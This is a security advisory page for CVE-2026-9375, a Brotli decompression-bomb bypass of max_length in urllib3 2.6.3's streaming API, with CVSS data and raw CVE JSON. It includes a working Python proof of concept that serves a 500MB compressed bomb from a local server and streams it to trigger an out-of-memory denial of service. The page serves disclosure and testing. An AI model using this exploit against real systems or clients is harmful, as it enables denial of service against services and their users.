Security Vulnerability Report
中文
CVE-2026-9375 CVSS 7.5 HIGH

CVE-2026-9375

Published: 2026-06-19 19:16:37
Last Modified: 2026-06-19 19:16:37

Description

urllib3 version 2.6.3 is vulnerable to a decompression bomb bypass in its streaming API (`preload_content=False`) when using Brotli support. The issue arises due to three independent code paths in `response.py` that bypass the `max_length` protection introduced in version 2.6.0 to mitigate CVE-2025-66471. Specifically, negative `max_length` values can be produced due to buffer arithmetic in `read()`, `flush_decoder` unconditionally overrides `max_length` to `-1`, and `_flush_decoder()` passes no limit at all, defaulting to unlimited decompression. This allows a malicious HTTP server to trigger an out-of-memory (OOM) condition by decompressing large payloads into memory, leading to a denial of service (DoS). The vulnerability affects urllib3 2.6.3 and Brotli 1.2.0 and impacts applications and libraries using `requests` or `urllib3` to stream content from untrusted sources.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

urllib3 2.6.3
Brotli 1.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9375 - urllib3 Brotli Decompression Bomb PoC # This PoC demonstrates the decompression bomb bypass in urllib3 streaming API import brotli import http.server import threading import urllib3 # Step 1: Create a highly compressible payload (decompression bomb) # A small compressed payload that expands to a massive size when decompressed BOMB_SIZE = 500 * 1024 * 1024 # 500MB when decompressed bomb_data = b"A" * BOMB_SIZE # Highly compressible data compressed_bomb = brotli.compress(bomb_data) print(f"[*] Compressed bomb size: {len(compressed_bomb)} bytes") print(f"[*] Decompressed size: {len(bomb_data)} bytes ({BOMB_SIZE / 1024 / 1024:.0f}MB)") # Step 2: Create a malicious HTTP server that serves the Brotli-compressed bomb class MaliciousServer(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Encoding", "br") # Brotli encoding self.send_header("Content-Length", str(len(compressed_bomb))) self.end_headers() self.wfile.write(compressed_bomb) def log_message(self, format, *args): pass # Suppress server logs # Step 3: Start the malicious server def run_server(): server = http.server.HTTPServer(("127.0.0.1", 8888), MaliciousServer) server.serve_forever() server_thread = threading.Thread(target=run_server, daemon=True) server_thread.start() print("[*] Malicious server started on http://127.0.0.1:8888") # Step 4: Exploit - Stream content using urllib3 with preload_content=False # This triggers the decompression bomb bypass via the vulnerable code paths print("[*] Sending request to malicious server...") print("[*] The vulnerable code paths (read(), flush_decoder, _flush_decoder())") print(" will bypass max_length protection, causing OOM...") http = urllib3.PoolManager() try: response = http.request( "GET", "http://127.0.0.1:8888/", preload_content=False # Enable streaming mode (vulnerable path) ) # Reading from the response triggers the decompression bomb # max_length is bypassed due to negative arithmetic, flush_decoder override, # and _flush_decoder() not passing any limit data = response.read() print(f"[!] Read {len(data)} bytes (should have been blocked by max_length)") except MemoryError: print("[+] SUCCESS: MemoryError triggered - DoS achieved!") except Exception as e: print(f"[*] Exception: {type(e).__name__}: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9375", "sourceIdentifier": "[email protected]", "published": "2026-06-19T19:16:36.947", "lastModified": "2026-06-19T19:16:36.947", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "urllib3 version 2.6.3 is vulnerable to a decompression bomb bypass in its streaming API (`preload_content=False`) when using Brotli support. The issue arises due to three independent code paths in `response.py` that bypass the `max_length` protection introduced in version 2.6.0 to mitigate CVE-2025-66471. Specifically, negative `max_length` values can be produced due to buffer arithmetic in `read()`, `flush_decoder` unconditionally overrides `max_length` to `-1`, and `_flush_decoder()` passes no limit at all, defaulting to unlimited decompression. This allows a malicious HTTP server to trigger an out-of-memory (OOM) condition by decompressing large payloads into memory, leading to a denial of service (DoS). The vulnerability affects urllib3 2.6.3 and Brotli 1.2.0 and impacts applications and libraries using `requests` or `urllib3` to stream content from untrusted sources."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "urllib3", "product": "urllib3/urllib3", "versions": [{"version": "unspecified", "lessThan": "2.7.0", "versionType": "custom", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://github.com/urllib3/urllib3/commit/2bdcc44d1e163fb5cc48a8662425e35e15adfe6a", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/ddd09eb9-b87d-4a43-84df-48837b1bbc23", "source": "[email protected]"}]}}